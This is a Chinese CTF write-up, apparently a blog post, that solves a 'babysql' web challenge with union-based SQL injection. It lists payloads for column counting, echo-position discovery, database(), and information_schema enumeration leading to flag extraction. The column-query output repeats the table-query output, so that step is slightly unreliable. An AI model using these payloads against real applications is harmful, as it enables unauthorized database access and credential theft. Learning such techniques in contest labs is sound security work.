CTF-web题之简单的SQL注入

本文详细解析了一道网络安全大赛中的SQL注入题目,通过逐步逻辑推断,揭示了如何利用SQL技巧获取数据库信息,包括字段数判断、数据回显分析、功能函数调用和最终数据获取。

这两天闲着没事报名了学校信安和网安组织的网络安全大赛,靠着仅有的一点web知识做了几道web题,现在记录一下其中一道sql注入题的解题思路

首先题面如下

在这里插入图片描述

首先通过语句判断有多少个字段

1' or 1=1 order by 4 #
1' or 1=1 order by 3 #

order by是按by后面的数字或字段名所在列进行排序,如果结果集只有3列,order by4则会报错,故可以用来判断结果集的字段数

第一条语句报错,第二条语句返回

admin
5ef582761f2cafceebdfc8c9ac259cf0

可以得出改表中有三个字段,而显示结果只有两个,且可以看出显示的应该是用户名和密码

之所以要查出有多少个字段,是为了判断结果集中有多少信息(因为页面不会把所有查到的信息显示出来),且我们union select要求两次查询的结果集拥有相同的列数

通过union select确定回显在页面的是哪几行的数据

-1' union select 1,2,3 #

select 1,2,3(可以是其他数字或字符等)会返回一行与select内容对应的结果,且字段名也保持相同

以下为select 2,3,4返回的结果集

在这里插入图片描述

union select 1,2,3会返回一行数据,我们即可以通过页面上现实的具体数字来判断页面回显的是哪几行的数据,

uion前需要写一个结果集中不存在的数据(随便猜一下就行),因为如果填写admin的话,会查出来一行结果,而union select是将两次查询的结果集合并成(列数不变,增加行数),在页面只显示一行结果的情况下,则无法看到select 1,2,3返回的结果

上述结果返回

2,3

说明页面回显的是结果集中第二三行的数据

那么我们可以通过union select在第二三个数字的位置换成一些函数来获取信息,如:

-1' union select 1,2,database() #

则返回

2,babysql

显然babysql就是正在查询的数据库名

数据库名后则可以查数据库中存在的数据表

-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='babysql')#

group_concat()将group by产生的相同分组的值连接成一个字符串(原本是分行显示),才使得查询结果能一并显示出来

则返回

2
user,flag

有表名后即可查表中的字段名,显然flag藏在flag表中

-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='babysql' and table_name='flag')#

则返回

2
user,flag

最后查询flag表中字段名为flag的结果,即可得到flag

-1' union select 1,2,(select group_concat(flag) from flag)#

大功告成!

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

得过且过的勇者y

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值